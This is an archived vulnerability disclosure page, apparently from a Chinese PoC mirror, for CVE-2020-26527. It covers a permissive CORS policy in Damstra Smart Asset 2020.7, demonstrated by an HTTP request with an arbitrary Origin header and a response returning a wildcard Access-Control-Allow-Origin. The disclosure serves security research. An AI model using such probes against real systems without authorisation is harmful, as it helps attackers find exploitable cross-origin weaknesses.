CVE-2020-26527 PoC — Damstra Smart Asset 访问控制错误漏洞

Source

https://github.com/lukaszstu/SmartAsset-CORS-CVE-2020-26527

Associated Vulnerability

Title:Damstra Smart Asset 访问控制错误漏洞 (CVE-2020-26527)
Description:damstra smart asset（smart asset）是美国Smart Asset by Damstra的一个个人理财估算平台。该平台在用户提供一系列个人信息后可为用户提供最佳的理财策略。 Damstra Smart Asset 2020.7版本存在安全漏洞，该漏洞源于跨源资源共享信托起源随机接受任意的起源:example.com头和200 OK响应一个通配符Access-Control-Allow-Origin: *头。

Readme

# SmartAsset-CORS-CVE-2020-26527

CVE-2020-26527

Smart Asset - version  2020.7


An issue was discovered in API/api/Version in Damstra Smart Asset 2020.7.
Cross-origin resource sharing trusts random origins by accepting the
arbitrary 'Origin: example.com' header and responding with 200 OK and a
wildcard 'Access-Control-Allow-Origin: *' header.

HTTP Request:

GET /API/api/Version HTTP/1.1
Origin: https://StudniarzLukasz.com <--------------------------------------
Cookie: _ga=GA1.3.1950130407.1600387365; _gid=GA1.3.1208628208.1600387365; _gat_gtag_UA_100469070_4=1; ajs_group_id=null; intercom-id-zk1ecu97=47f0bf3f-35aa-4f97-9239-456a2678da65; intercom-session-zk1ecu97=


HTTP Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: * <---------------------------------------
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Version":"2020.5 (Build 36 Revision 40954)","AssemblyVersion":"20.5.36.40954","BuildDate":"2020-07-27T13:21:18+10:00","CompanyName":"SmartAsset Software","LegalCopyright":"Copyright .. SmartAsset <<CUT>>
  
  
  ------------------------------------------

[Discoverer]
Lukasz Studniarz

File Snapshot


 [4.0K]  /data/pocs/5434ca445aed2112a470c8bb7166d39260d8fd30
└── [1.3K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!